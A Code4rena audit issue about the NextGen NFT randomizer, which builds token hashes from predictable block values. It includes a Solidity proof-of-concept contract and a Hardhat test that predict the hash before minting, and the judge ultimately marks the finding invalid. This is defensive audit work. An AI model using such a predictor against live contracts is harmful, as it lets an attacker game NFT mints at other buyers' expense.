code-423n4 / 2023-10-nextgen-findings

5 stars 3 forks source link

`RandomizerNXT` Produces Predictable Values #1773

Closed c4-submissions closed 11 months ago

c4-submissions commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerNXT.sol#L57 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L35-L43

Vulnerability details

Impact

RandomizerNXT produces entirely predictable values, rendering its use for generating random values in generative art NFTs counterproductive and potentially harmful. This flaw allows attackers to exploit the predictability to mint NFTs when the expected perceived value of the generated art is highest.

While perceived value is subjective, certain artist choices can make it more objective and easily quantifiable. For instance, an artist could design a collection with a generative script that imparts special and rare features (e.g., a golden frame, shining card) for a tokenHash with one or more leading zeroes or other characteristics.

The scope of influence that a tokenHash holds over the ultimate NFT value is as extensive as the spectrum of artistic possibilities. Therefore, it becomes crucial to generate fairly unpredictable values for the generative art scripts, that cannot be gameable or rejected. Failure to do so not only enables attackers to exploit the system unfairly for acquiring more valuable NFTs but also risks undermining the overall value of the entire collection, impacting other investors adversely. Avoiding service fees is not worth the risks associated with generating predictable or gameable values for generative art NFTs.

Proof of Concept

According to documentation, RandomizerNXT is:

A custom-made implementation Randomizer contract that uses the token id, the blockchash of the previous block and a random pool of words and numbers to generate the tokenHash.

  • Once the calculateTokenHash(..) function is called it triggers a call to the word pool contract to get a random word and a random number that are used along with the other parameters to calculate the random hash. Once the hash is calculated, it calls the setTokenHash(..) function on the Core contract to store the hash.

However, there can be no meaningfully random pool of words and numbers generated from pre-existing, known values.

In the RandomizerNXT contract, the calculateTokenHash function produces a hash through the following process:

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerNXT.sol#L57

        bytes32 hash = keccak256(abi.encodePacked(_mintIndex, blockhash(block.number - 1), randoms.randomNumber(), randoms.randomWord()));

_mintIndex and blockhash(block.number - 1) are entirely predictable. This is the underlying mechanism behind the randoms.randomNumber and randoms.randomWord functions:

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L35-L43

    function randomNumber() public view returns (uint256){
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
        return randomNum;
    }

    function randomWord() public view returns (string memory) {
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
        return getWord(randomNum);
    }

The same predictability extends to block.prevrandao and block.timestamp. The getWord function contributes no unpredictability; it solely uses randomNum to retrieve words from a predetermined list.

As evident, the predictability of the hashes generated by RandomizerNXT is established.

Demonstration

For clarity, let us perform a quick test in the codebase.

Create a new file at hardhat/smart-contracts/audit/PredictablyRandomPoC.sol and add the following content:

pragma solidity ^0.8.19;

import "../INextGenCore.sol";
import "../IXRandoms.sol";

interface IMinterContract {
    function mint(uint256, uint256, uint256, string memory, address, bytes32[] calldata, address, uint256) external;
}

contract PredictablyRandomPoC {
    INextGenCore gencore;
    IMinterContract minter;
    IXRandoms randoms;

    bytes32 public predicted;
    bytes32 public retrieved;

    constructor(address _gencore, address _minter, address _randoms) {
        gencore = INextGenCore(_gencore);
        minter = IMinterContract(_minter);
        randoms = IXRandoms(_randoms);
    }

    function _predict(uint256 col) internal view returns (uint256 mintIndex, bytes32 tokenHash) {
        mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
        tokenHash = keccak256(abi.encodePacked(mintIndex, blockhash(block.number - 1), randoms.randomNumber(), randoms.randomWord()));
    }

    function runPoC() external returns (bool) {
        uint256 col = 1;
        uint256 mintIndex;

        (mintIndex, predicted) = _predict(col);

        minter.mint(
            col,              // _collectionID
            1,                // _numberOfTokens
            0,                // _maxAllowance
            '',               // _tokenData
            address(this),    // _mintTo
            new bytes32[](0), // merkleProof
            address(this),    // _delegator
            0                 //_saltfun_o
        );

        retrieved = gencore.retrieveTokenHash(mintIndex);

        require(retrieved != bytes32(0), "Zero return");
        require(predicted == retrieved, "Unequal digests");

        return true;
    }

    function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

Additionally, create the Hardhat test file at hardhat/test/predictablyRandom.js with the following content:

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai")
  const { ethers } = require("hardhat")
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")

  let signers
  let contracts

describe.only("Audit: Predictably Random", function() {
    // SETUP
    before(async function () {
        ;({ signers, contracts } = await loadFixture(fixturesDeployment))

        await contracts.hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            ["desc"],
        )

        await contracts.hhAdmin.registerCollectionAdmin(
            1,
            signers.addr1.address,
            true,
        )

        await contracts.hhCore.connect(signers.addr1).setCollectionData(
            1,                      // _collectionID
            signers.addr1.address,  // _collectionArtistAddress
            2,                      // _maxCollectionPurchases
            10000,                  // _collectionTotalSupply
            0,                      // _setFinalSupplyTimeAfterMint
        )

        await contracts.hhCore.addMinterContract(
            contracts.hhMinter,
        )

        await contracts.hhCore.addRandomizer(
            1, contracts.hhRandomizer,
        )

        await contracts.hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            0, // _timePeriod
            1, // _salesOptions
            '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
        )

        await contracts.hhMinter.setCollectionPhases(
            1,          // _collectionID
            0,          // _allowlistStartTime
            0,          // _allowlistEndTime
            0,          // _publicStartTime
            3333333333, // _publicEndTime
            "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
        )

        const predictorFactory = await ethers.getContractFactory("PredictablyRandomPoC");
        contracts.predictor = await predictorFactory.deploy(contracts.hhCore.getAddress(), contracts.hhMinter.getAddress(), contracts.hhRandoms.getAddress());
    })

    // PoC
    it("Should predict the tokenHash`", async function() {
        await contracts.predictor.runPoC();

        const predicted = await contracts.predictor.predicted();
        const retrieved = await contracts.predictor.retrieved();

        expect(predicted).to.equal(retrieved);
    })
})

Next, since we are using .only to only run our test, execute the following command from within the hardhat directory:

$ npx hardhat test

In the context of this Proof of Concept (PoC), the test merely showcases the predictability of the value re-using the randomPool contract code. However, it's worth noting that the actual prediction could easily be made off-chain and involve a very sophisticated approach for tokenHash selection.

Tools Used

Manual: code editor, Hardhat.

Recommended Mitigation Steps

Opt for randomizers with reliably unpredictable randomness, such as NextGenRandomizerVRF and NextGenRandomizerRNG. Or build one with an equivalent design.

Assessed type

Other

c4-pre-sort commented 11 months ago

141345 marked the issue as duplicate of #163

c4-judge commented 11 months ago

alex-ppg marked the issue as duplicate of #1901

c4-judge commented 11 months ago

alex-ppg marked the issue as unsatisfactory: Invalid

c4-judge commented 11 months ago

alex-ppg marked the issue as unsatisfactory: Invalid